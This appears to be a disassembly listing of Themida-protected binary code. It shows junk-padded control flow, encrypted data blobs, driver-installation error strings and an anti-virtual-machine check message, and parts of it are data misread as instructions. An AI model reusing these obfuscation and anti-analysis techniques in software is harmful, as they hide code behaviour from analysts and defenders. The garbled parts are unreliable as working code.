		dd 65687420h, 69726420h, 726576h, 6E65704Fh, 614D4353h
		dd 6567616Eh, 50412072h, 72452049h, 20726F72h, 6C696877h
		dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h
		dd 726576h, 61657243h, 65536574h, 63697672h, 50412065h
		dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h
		dd 6E6F6974h, 65687420h, 69726420h, 726576h, 736F6C43h
		dd 72655365h, 65636976h, 646E6148h, 4120656Ch, 45204950h
		dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
		dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 7265536Eh
		dd 65636976h, 49504120h, 72724520h, 7720726Fh, 656C6968h
		dd 74786520h, 74636172h, 206E6F69h, 20656874h, 76697264h
		dd 53007265h, 74726174h, 76726553h, 20656369h, 20495041h
		dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
		dd 74206E6Fh, 64206568h, 65766972h, 50410072h, 65204349h
		dd 726F7272h, 6143203Ah, 746F6E6Eh, 6E696620h, 72502064h
		dd 7365636Fh, 73726F73h, 6E6F4320h, 6C6F7274h, 6F6C4220h
		dd 2E736B63h, 656C5020h, 2C657361h, 6F630D0Ah, 6361746Eh
		dd 6E692074h, 6F406F66h, 6E616572h, 6F632E73h, 6F66206Dh
		dd 68742072h, 65207369h, 726F7272h, 0
		dd 10400h, 6F533300h, 2C797272h, 69687420h, 70612073h
		dd 63696C70h, 6F697461h, 6163206Eh, 746F6E6Eh, 6E757220h
		dd 646E7520h, 61207265h, 72695620h, 6C617574h, 63614D20h
		dd 656E6968h, 70h dup(0)
		dd 100000h, 1000000h, 0FEFFFF00h, 17Fh,	100h, 24A00h, 1000000h
		dd 8000F00h, 940004h, 50000h, 10000h, 0A280000h, 20000h
		dd 65530000h, 63697672h, 61502065h, 32206B63h, 1Dh dup(0)
		dd 6F530000h, 61777466h, 575C6572h, 656E69h
; ---------------------------------------------------------------------------


loc_5ADC4C:				; CODE XREF: Themida_:loc_5ACB90j
		mov	eax, esp
		jmp	loc_5ADC64
; ---------------------------------------------------------------------------
		mov	esi, 304330A5h
		adc	[eax], esp
		fld	dword ptr [esi-32h]
		push	ecx
		pop	edi
		sub	edi, ebp
		leave
		pop	esp
		sahf


loc_5ADC64:				; CODE XREF: Themida_:005ADC4Ej
		mov	[ebp+6142551h],	eax
		xor	[ebp+6140AD1h],	edi
		mov	eax, eax
		xor	edi, 4D634046h
		adc	dh, 0B3h
		cmp	dword ptr [ebp+61410F1h], 0
		jnz	short loc_5ADC8D
		cmp	dword ptr [ebp+6140E25h], 0
		jz	short loc_5ADCA6


loc_5ADC8D:				; CODE XREF: Themida_:005ADC82j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 43Dh
		mov	[ebp+6141819h],	eax
		lea	ebx, [ebp+616A752h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5ADCA6:				; CODE XREF: Themida_:005ADC8Bj
		cmp	dword ptr [ebp+6140E25h], 0
		jz	short loc_5ADCC6
		push	eax
		push	ebx
		mov	eax, 43Dh
		mov	[ebp+6141819h],	eax
		lea	ebx, [ebp+616A441h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5ADCC6:				; CODE XREF: Themida_:005ADCADj
		mov	edx, 3A25EA64h
		mov	eax, eax
		movsx	edx, di
		mov	eax, eax
		mov	dx, 0C50h
		cmp	dword ptr [ebp+61410F1h], 0
		jnz	short loc_5ADCE8
		cmp	dword ptr [ebp+6140E25h], 0
		jz	short loc_5ADCFB


loc_5ADCE8:				; CODE XREF: Themida_:005ADCDDj
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 0
		lea	ebx, [ebp+616A5F4h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5ADCFB:				; CODE XREF: Themida_:005ADCE6j
		cmp	dword ptr [ebp+6140E25h], 0
		jz	short loc_5ADD15
		push	eax
		push	ebx
		mov	eax, 0
		lea	ebx, [ebp+616A4A5h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5ADD15:				; CODE XREF: Themida_:005ADD02j
		mov	[ebp+61416A1h],	eax
		mov	cx, 3346h
		jmp	loc_5ADD2C
; ---------------------------------------------------------------------------
		test	ah, 0B4h
		adc	eax, 11291986h


loc_5ADD2C:				; CODE XREF: Themida_:005ADD1Fj
		mov	eax, eax
		push	0
		push	eax
		call	sub_5ADD39
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5ADD39	proc near		; CODE XREF: Themida_:005ADD31p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_5ADD39	endp

; ---------------------------------------------------------------------------
		db 65h,	84h, 3Ah
		dd 0A9265FA8h, 0E9F568E1h, 10h,	66D0B441h, 3CF2E1D3h, 0E33B2EE5h
		dd 6B7C9FCFh, 8D89C08Bh, 61409A9h, 10F1BD83h, 75000614h
		dd 25BD8309h, 6140Eh, 53501374h, 0B8C08Bh, 8D000000h, 16A5269Dh
		dd 5BD3FF06h, 25BD8358h, 6140Eh, 53501174h, 0B8h, 739D8D00h
		dd 0FF0616A4h, 52585BD3h, 0B8EF7FBAh, 0A6BA5A39h, 8B441C8Eh
		dd 0FBBF0FC0h, 2810Fh, 0EC8A0000h, 2DB9C08Bh, 83794554h
		dd 1410F1BDh, 9750006h,	0E25BD83h, 74000614h, 8B535013h
		dd 0B8C0h, 9D8D0000h, 616A58Dh,	585BD3FFh, 0E25BD83h, 74000614h
		dd 0B8535011h, 0
; ---------------------------------------------------------------------------
		lea	ebx, [ebp+616A48Ch]
		call	ebx	; _iob
		pop	ebx
		pop	eax
		mov	ecx, [ebp+6140771h]
		push	0
		push	ecx
		call	sub_5ADE1F
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5ADE1F	proc near		; CODE XREF: Themida_:005ADE17p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_5ADE1F	endp

; ---------------------------------------------------------------------------
		xchg	eax, edi
		mov	al, ds:0C2EC8531h
		dec	ebx
		mov	edx, [ebp+6142E25h]
		jmp	loc_5ADE55
; ---------------------------------------------------------------------------
		db 0EEh, 9Bh, 4
		dd 9E067F6h, 51F573D5h,	0C07F17D4h, 0BED3F585h
; ---------------------------------------------------------------------------
		xchg	eax, edx


loc_5ADE55:				; CODE XREF: Themida_:005ADE3Cj
		mov	eax, eax
		mov	ch, dl
		jns	loc_5ADE62
		mov	dx, di


loc_5ADE62:				; CODE XREF: Themida_:005ADE59j
		mov	eax, eax
		mov	dh, 8
		cmp	dword ptr [ebp+61410F1h], 0
		jnz	short loc_5ADE78
		cmp	dword ptr [ebp+6140E25h], 0
		jz	short loc_5ADE8B


loc_5ADE78:				; CODE XREF: Themida_:005ADE6Dj
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 0
		lea	ebx, [ebp+616A4BFh]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5ADE8B:				; CODE XREF: Themida_:005ADE76j
		call	sub_5ADE9F
		push	ebx
		aam	0D9h
		retn	7EB6h
; ---------------------------------------------------------------------------
		dw 5EA0h
		dd 2ED66EFEh
		db 0A6h, 0B8h, 41h

; =============== S U B	R O U T	I N E =======================================



sub_5ADE9F	proc near		; CODE XREF: Themida_:loc_5ADE8Bp
		add	[ebp+6141669h],	ecx
		pop	edi
		sbb	dl, 6
		adc	edi, 4901966Fh
		mov	eax, eax
		jmp	loc_5ADECA
; ---------------------------------------------------------------------------
		dw 88F6h
		dd 0E2820ABCh, 8E3D5F85h, 0C1D82A26h, 6E292C94h
		db 0CFh, 70h
; ---------------------------------------------------------------------------


loc_5ADECA:				; CODE XREF: sub_5ADE9F+12j
		mov	eax, eax
		push	0
		push	ebx
		call	sub_5ADED7
		and	[ebx-3Dh], bl
sub_5ADE9F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5ADED7	proc near		; CODE XREF: sub_5ADE9F+30p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_5ADED7	endp

; ---------------------------------------------------------------------------
		jnz	short near ptr loc_5ADF45+2
		cmp	[esi], esp
		push	ebx
		nop
		movsb
		mov	eax, [eax-427CED0Ah]
		icebp
		adc	[esi+eax], dl
		add	[ebp+9], dh
		cmp	dword ptr [ebp+6140E25h], 0
		jz	short loc_5ADF1D
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 7D0h
		mov	[ebp+6141819h],	eax
		lea	ebx, [ebp+616A752h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5ADF1D:				; CODE XREF: Themida_:005ADF02j
		cmp	dword ptr [ebp+6140E25h], 0
		jz	short loc_5ADF3D
		push	eax
		push	ebx
		mov	eax, 7D0h
		mov	[ebp+6141819h],	eax
		lea	ebx, [ebp+616A441h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5ADF3D:				; CODE XREF: Themida_:005ADF24j
		push	0
		push	ebp
		call	sub_5ADF48


loc_5ADF45:				; CODE XREF: Themida_:005ADEE7j
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5ADF48	proc near		; CODE XREF: Themida_:005ADF40p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_5ADF48	endp

; ---------------------------------------------------------------------------
		dd 957B00CFh, 9E854h, 9CF40000h, 7FC4CFE2h, 56DB4017h
		dd 5A5A5F52h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 1Dh,	0E7C35646h, 5DABC372h, 4538CC6Fh, 0FE854h, 778F0000h
		dd 66D5BAEDh, 4CE7EB0Eh, 74AA05E6h, 5FF7B64Bh, 0F281C08Bh
		dd 42477F58h, 0C810Fh, 850F0000h, 6, 699B531h, 85C60614h
		dd 6140849h, 52006A53h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 520E6FAFh, 0FE991h, 0B0DA0000h, 75EDE810h
		dd 58AA11DAh, 0CFE49B8Eh, 0D2BF0F16h, 395F9068h, 21958B99h
		dd 0FF06142Bh, 140C2DB5h, 0EE906h, 80AA0000h, 8CFF9CDFh
		dd 34DED881h, 0E9FC2464h, 3B4E858Dh, 6A0614h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 459816C3h
		dd 2349BD89h, 8B660614h, 31D0FFF8h, 1415F595h, 5D8D0106h
		dd 89061406h, 140BD985h, 8E806h, 0DCFB0000h, 0E680DBC2h
		dd 880F7B71h, 6, 0D358D8Bh, 8B5F0614h, 14070995h, 4985C606h
		dd 57061408h, 28A0Fh, 0CB8B0000h, 4520668h, 70B96690h
		dd 31E6807Dh, 0C2DB5FFh, 9D890614h, 6142539h, 3B4E858Dh
		dd 0FFF90614h, 0B8B2BAD0h, 85890EE9h, 6142A89h,	5F35B256h
		dd 8598D09h, 85C60614h,	6140849h, 70286843h, 830FBC90h
		dd 13h,	0CE953h, 12850000h, 0E67FCD8Eh,	0FDB91486h, 0FF5F10A3h
		dd 140C2DB5h, 0DE806h, 1A160000h, 64F9E22Eh, 0BB48B38Bh
		dd 0FDD93BAh, 8D59C9B7h, 143B4E85h, 98C0F06h, 0F000000h
		dd 384h, 0BAEA8000h, 0BF0FD0FFh, 718589F9h, 6A061409h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 5FCEC350h, 8AEF570Ch, 0E810FD7h, 0E9000000h
		dd 9, 10E098CBh, 0AD053BB8h, 0B18D89B8h, 0C6061423h, 14084985h
		dd 0CE94C06h, 38000000h, 7BB8D006h, 95AAEC2Dh, 680DEF6Dh
		dd 0D9DA1CE9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	0A3C35646h, 0BDA7D144h,	809A2AD8h, 0B5FFF0EEh
		dd 6140C2Dh, 19B5958Bh,	858D0614h, 6143B4Eh, 2325BD01h
		dd 0BD890614h, 6140711h, 8D29D0FFh, 6141DF9h, 2BDD8589h
		dd 0BD8B0614h, 61423CDh, 84985C6h, 81460614h, 351264D9h
		dd 614685Bh, 2FB6BADEh,	0C2DB5FFh, 6A0614h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0D3C657C3h
		dd 0F5297DC1h, 3B4E858Dh, 0BF660614h, 0D0FFF076h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0C8C35747h, 0D1D8D2Bh
		dd 89F90614h, 14015185h, 0B9852906h, 0C606141Eh, 14084985h
		dd 0BD894706h, 6140CC5h, 0FB5E268h, 0B5FFF58Ah,	6140C2Dh
		dd 0AE45B966h, 3B4E858Dh, 6A0614h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 85891DC3h, 6140F81h
		dd 6AD0FFh, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 0CD8D7FC3h, 161DBD0Bh, 85890614h,	6140BCDh
		dd 85C6D18Bh, 6140849h,	68F18A47h, 83D0B5F3h, 148C0Fh
		dd 0FE90000h, 0D5000000h, 48C53246h, 7202708Dh,	0A248F4D0h
		dd 0B5FFFBDCh, 6140C2Dh, 880Fh,	858D0000h, 6143B4Eh, 0FFCEB70Fh
		dd 6820FD0h, 89000000h,	14020DBDh, 45858906h, 0E9061416h
		dd 0Ch,	426A6B49h, 0CBAF4A1Bh, 33FEBD05h, 84985C6h, 89770614h
		dd 1418B1BDh, 0A8A36806h, 6AF397h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 0D31900C3h, 5E8C2h, 0EF700000h
		dd 0F8E1A76h, 281h, 59F98B00h, 2965B5FFh, 0BD8B0614h, 6140FCDh
		dd 3B4E858Dh, 958B0614h, 6142FC9h, 6AD0FFh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 514798C3h
		dd 28AAC116h, 8E9E51Dh,	0FF000000h, 0C89AB39Dh,	66C5A0ABh
		dd 8589FB8Bh, 6141239h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 42C35545h, 0CED8D8Bh,	0B70F0614h, 9958BCBh
		dd 0C606141Dh, 14084985h, 6A4706h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 9B21D7C3h, 98490251h
		dd 8D8BE0FEh, 614341Dh,	28FAF668h, 4677B987h, 0B5FF128Dh
		dd 6140C2Dh, 30CABA66h,	3B4E858Dh, 0BF660614h, 0D0FF3D67h
		dd 9E9h, 77B5A00h, 7B378C75h, 8589DB02h, 6140D85h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0EDC35545h, 0D1816620h
		dd 85C6C072h, 6140849h,	72B95043h, 59590CF7h, 0FE8h, 0BA26DE00h
		dd 232E9D50h, 0A486F685h, 8644B2B1h, 0EB61BA66h, 6EFC685Ah
		dd 0FFF8BC8Eh, 140C2DB5h, 0F8B70F06h, 3B4E858Dh, 6A0614h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 0FB761EC3h, 1F2A5721h, 0AE9D0h, 101D0000h, 0A4B1DE5Fh
		dd 60EF8ADAh, 12E9D0FFh, 0FC000000h, 549F3790h,	0AFC47FFBh
		dd 251E8E65h, 188B7B2Eh, 0AE96Eh, 9BB70000h, 8B93689Fh
		dd 87F4FD10h, 3D98589h,	6A0614h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 479775C3h, 10480276h
		dd 0E3B98810h, 0BA529A42h, 7AD6B6C0h, 84985C6h,	0B5450614h
		dd 69696846h, 880F8E72h, 6, 3105BD8Bh, 0B5FF0614h, 6140C2Dh
		dd 8D56C580h, 143B4E85h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 72BC90BBh, 8ADA80DAh
		dd 88099FBFh, 0FD0FF6Ch, 8Eh, 69858900h, 89061418h, 142D9D9Dh
		dd 4985C606h, 44061408h, 0EC6468F5h, 9E8B8F2h, 55000000h
		dd 854D4FFFh, 0C752BCF0h, 2DB5FF59h, 6006140Ch,	19A1858Bh
		dd 81660614h, 61D87DD9h, 858DF48Ah, 6143B4Eh, 0CA80D0FFh
		dd 1585897Bh, 0B061431h, 1406BDBDh, 4985C606h, 43061408h
		dd 19E1BD2Bh, 0A7680614h, 6AC0764Ah, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 939C353h
		dd 140C8D8Dh, 41958906h, 0FF06141Ch, 140C2DB5h,	0BD0B6006h
		dd 61402EDh, 4E858D61h,	8B06143Bh, 89D0FFCAh, 1430C58Dh
		dd 8EB96606h, 7585899Bh, 6A06140Bh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 1F5BC355h
		dd 2E510FDBh, 0B5CA04EFh, 0E7BD807Ah, 616FBh, 0EA840Fh
		dd 9D890000h, 6142411h,	0FBC9858Dh, 0FE8B0616h,	0AC58589h
		dd 60500614h, 16419D8Bh, 0BB660614h, 6A619BD3h,	6A006A01h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 0B174C352h, 325BC362h, 0B840F08h,	0E8000000h
		dd 5, 2E3EA4D5h, 0F78A5A7Eh, 68B0Fh, 958B0000h,	61411E5h
		dd 8D0F006Ah, 0
; ---------------------------------------------------------------------------
		call	dword ptr [ebp+6140971h]
		mov	ecx, [ebp+6141BB1h]
		mov	[ebp+61407A5h],	eax
		push	0
		push	ebp
		call	sub_5AE70D
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AE70D	proc near		; CODE XREF: Themida_:005AE705p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_5AE70D	endp

; ---------------------------------------------------------------------------
		mov	ds:4BF58D17h, al
		pop	edx
		fcom	dword ptr [ecx-75h]
		setalc
		mov	ecx, [ebp+61430E1h]
		push	0FFFFFFFFh
		cld
		push	dword ptr [ebp+61407A5h]
		push	0
		push	edx
		call	sub_5AE741
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AE741	proc near		; CODE XREF: Themida_:005AE739p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_5AE741	endp

; ---------------------------------------------------------------------------
		adc	edx, 4BE24048h
		sbb	[esi+edi*8+118D8589h], eax
		adc	al, 6
		call	dword ptr [ebp+6142A89h]
		mov	[ebp+6141F91h],	edi
		mov	eax, eax
		mov	[ebp+6141021h],	ebx
		cmp	dword ptr [ebp+61410F1h], 0
		jnz	short loc_5AE786
		cmp	dword ptr [ebp+6140E25h], 0
		jz	short loc_5AE79F


loc_5AE786:				; CODE XREF: Themida_:005AE77Bj
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 7D1h
		mov	[ebp+6141819h],	eax
		lea	ebx, [ebp+616A752h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5AE79F:				; CODE XREF: Themida_:005AE784j
		cmp	dword ptr [ebp+6140E25h], 0
		jz	short loc_5AE7BF
		push	eax
		push	ebx
		mov	eax, 7D1h
		mov	[ebp+6141819h],	eax
		lea	ebx, [ebp+616A441h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5AE7BF:				; CODE XREF: Themida_:005AE7A6j
		mov	di, ax
		jge	loc_5AE7D4
		jg	loc_5AE7D4
		jnp	$+6


loc_5AE7D4:				; CODE XREF: Themida_:005AE7C2j
					; Themida_:005AE7C8j
		mov	edi, [ebp+6142BFDh]
		mov	eax, eax
		cld
		mov	byte ptr [ebp+6140849h], 47h
		mov	ecx, 1D1A8160h
		push	93C8F7C1h
		push	0
		push	edi
		call	sub_5AE7F9
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AE7F9	proc near		; CODE XREF: Themida_:005AE7F1p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_5AE7F9	endp

; ---------------------------------------------------------------------------
		mov	al, 0F8h
		sub	bh, [edx]
		push	ds
		cmp	[esi+3Ah], esp
		mov	ecx, eax
		pusha
		or	[ebp+6141B49h],	edx
		xor	eax, [ebp+6141709h]
		popa
		push	dword ptr [ebp+6140C2Dh]
		movzx	edx, di
		lea	eax, [ebp+6143B4Eh]
		adc	edx, 6B176D33h
		mov	di, 307Eh
		call	eax
		sub	[ebp+6141EA5h],	eax
		push	eax
		or	edi, 4776E172h
		pusha
		xor	eax, [ebp+6141F75h]
		mov	[ebp+6141FC5h],	esi
		popa
		lea	eax, [ebp+617000Ah]
		mov	edi, ebx
		mov	dh, 0Bh
		mov	dword ptr [eax], 94h
		push	0
		push	edi
		call	sub_5AE873
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AE873	proc near		; CODE XREF: Themida_:005AE86Bp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_5AE873	endp

; ---------------------------------------------------------------------------
		popa
		pop	eax
		add	[ebp+6142A09h],	ebx
		lea	esi, [ebp+617000Ah]
		movzx	edx, cx
		push	esi
		push	0
		push	ebx
		call	sub_5AE8A0
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AE8A0	proc near		; CODE XREF: Themida_:005AE898p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_5AE8A0	endp

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		call	eax
		lea	eax, [ebp+617000Ah]
		adc	ch, 71h
		cmp	dword ptr [eax+4], 6
		jnz	loc_5AE8D9
		mov	edi, [ebp+614231Dh]
		mov	dword ptr [ebp+617009Eh], 1
		mov	cx, di


loc_5AE8D9:				; CODE XREF: Themida_:005AE8C0j
		cmp	dword ptr [ebp+6140361h], 0
		jnz	loc_5AE91F
		mov	ecx, 761E8657h
		mov	dx, 1226h
		cmp	dword ptr [ebp+617009Eh], 0
		jnz	loc_5AE91F
		mov	di, 0B6A2h
		cmp	dword ptr [ebp+6140D19h], 0
		jz	loc_5AE91F
		sub	[ebp+6142601h],	ebx
		mov	dword ptr [ebp+6140F89h], 0
		mov	edx, esi


loc_5AE91F:				; CODE XREF: Themida_:005AE8E0j
					; Themida_:005AE8F6j ...
		mov	bx, ds
		mov	[ebp+61410B5h],	esi
		jl	loc_5AE933
		mov	edx, 74E5F37Bh


loc_5AE933:				; CODE XREF: Themida_:005AE928j
		test	bl, 4
		jz	loc_5AEDE7
		mov	edx, [ebp+6141041h]
		mov	dword ptr [ebp+61401CDh], 0
		or	[ebp+6141B2Dh],	edx
		cmp	byte ptr [ebp+616FBF4h], 0
		jnz	loc_5AE97D
		call	sub_5AE976
		retf	66DFh
; ---------------------------------------------------------------------------
		db 30h
		dd 29DCF81Ah, 131B317Eh, 3D71501Eh
; ---------------------------------------------------------------------------
		pusha
		cld

; =============== S U B	R O U T	I N E =======================================



sub_5AE976	proc near		; CODE XREF: Themida_:005AE95Fp
		mov	edx, [ebp+6140759h]
		pop	edx


loc_5AE97D:				; CODE XREF: Themida_:005AE959j
		mov	byte ptr [ebp+6140849h], 47h
		pusha
		pusha
		pusha
		popa
		jmp	loc_5AE995
; ---------------------------------------------------------------------------
		db 0E6h, 0E2h, 81h
		dd 40EA5856h
		db 0B4h
; ---------------------------------------------------------------------------


loc_5AE995:				; CODE XREF: sub_5AE976+12j
		popa
		adc	ebx, 56A5D9F7h
		popa
		push	ecx
		mov	dh, 0A5h
		pop	edx
		push	0E3E45B86h
		mov	edi, [ebp+614124Dh]
		push	dword ptr [ebp+6140C2Dh]
		or	[ebp+6142D41h],	ebx
		lea	eax, [ebp+6143B4Eh]
		sub	[ebp+6140C99h],	ebx
		sbb	di, 6D7Ah
		call	eax
		push	0
		push	edx
		call	sub_5AE9D6
		and	[edx-3Dh], bl
sub_5AE976	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5AE9D6	proc near		; CODE XREF: sub_5AE976+58p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_5AE9D6	endp

; ---------------------------------------------------------------------------
		dw 7863h
		dd 0F88B663Dh, 10468h, 65BD8B00h, 8D061425h, 1405319Dh
		dd 0CA8B6606h, 0E6806053h, 8DBD89EBh, 61061411h, 800FD0FFh
		dd 0
; ---------------------------------------------------------------------------
		lea	eax, [ebp+6140531h]
		sub	[ebp+6140B29h],	ecx
		push	eax
		mov	ecx, [ebp+614316Dh]
		lea	eax, [ebp+616FBA6h]
		mov	[ebp+61402CDh],	eax
		push	eax
		mov	edi, [ebp+61425E9h]
		jmp	loc_5AEA44
; ---------------------------------------------------------------------------
		db 24h
		dd 8D815B08h
; ---------------------------------------------------------------------------


loc_5AEA44:				; CODE XREF: Themida_:005AEA3Aj
		lea	eax, [ebp+616F279h]
		push	eax
		mov	edx, [ebp+6140455h]
		call	dword ptr [ebp+6141239h]
		movsx	ecx, cx
		sub	[ebp+61412F9h],	eax
		add	esp, 0Ch
		mov	[ebp+614181Dh],	edx
		push	0
		push	80h
		push	3
		push	0
		push	0
		push	80000000h
		lea	eax, [ebp+616F279h]
		push	eax
		call	dword ptr [ebp+61403D9h]
		mov	[ebp+616FB89h],	eax
		mov	byte ptr [ebp+6140849h], 47h
		push	0C7B15E87h
		push	dword ptr [ebp+6140C2Dh]
		lea	eax, [ebp+6143B4Eh]
		call	eax
		push	0
		push	dword ptr [ebp+616FB89h]
		call	eax
		sub	[ebp+6141115h],	esi
		sub	di, 0E09Ch
		push	ecx
		pop	ecx
		cmp	eax, 37D0h
		jnb	loc_5AEB04
		mov	edx, [ebp+6140C29h]
		mov	ch, 7Ch
		push	dword ptr [ebp+616FB89h]
		mov	dl, ch
		call	dword ptr [ebp+6140B75h]
		mov	[ebp+6140A19h],	eax
		jmp	loc_5AEBE1
; ---------------------------------------------------------------------------
		jnz	loc_5AEB04
		jmp	loc_5AEB04
; ---------------------------------------------------------------------------
		dw 494h
		dd 8C0252D9h, 0B0C6A2DAh, 25963FECh
; ---------------------------------------------------------------------------


loc_5AEB04:				; CODE XREF: Themida_:005AEAC4j
					; Themida_:005AEAEBj ...
		push	dword ptr [ebp+616FB89h]
		pusha
		xor	[ebp+6140709h],	ecx
		or	[ebp+6140D6Dh],	ebx
		popa
		call	dword ptr [ebp+6140B75h]
		cmc
		push	0
		or	edx, 70B7AA91h
		push	0
		push	0
		push	esi
		call	sub_5AEB34
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AEB34	proc near		; CODE XREF: Themida_:005AEB2Cp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_5AEB34	endp

; ---------------------------------------------------------------------------
		cmp	[ebx-21h], cl
		jno	loc_5AEB59
		pusha
		or	dx, 0E370h
		mov	ebx, 8FEAE80h
		popa


loc_5AEB59:				; CODE XREF: Themida_:005AEB47j
		push	0
		push	0
		push	edi
		call	sub_5AEB66
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AEB66	proc near		; CODE XREF: Themida_:005AEB5Ep

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_5AEB66	endp

; ---------------------------------------------------------------------------
		dw 0FD3Ah
		dd 8F60A666h, 4DB3FE3Dh, 0C8B52AB9h, 66006A40h,	4958F281h
		dd 952B006Ah, 6142DA9h,	8950006Ah, 140365BDh, 858D5906h
		dd 616FB8Dh, 8950CE8Bh,	140A1985h, 0D995FF06h, 6A061403h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 9D86C352h, 0FFFF883h, 12D85h, 8BD68B00h
		dd 141CF5BDh
; ---------------------------------------------------------------------------
		push	es


loc_5AEBE1:				; CODE XREF: Themida_:005AEAE6j
		lea	eax, [ebp+616B719h]
		mov	di, 0C7Ch
		mov	ch, 0D3h
		call	eax
		jno	loc_5AEBFA
		adc	di, 2B44h


loc_5AEBFA:				; CODE XREF: Themida_:005AEBEFj
		push	0
		mov	ch, 87h
		push	0
		jp	loc_5AEC0C
		mov	edx, [ebp+61423D9h]


loc_5AEC0C:				; CODE XREF: Themida_:005AEC00j
		push	0
		mov	ecx, [ebp+6140899h]
		push	0
		push	0
		push	ebp
		call	sub_5AEC21
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AEC21	proc near		; CODE XREF: Themida_:005AEC19p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
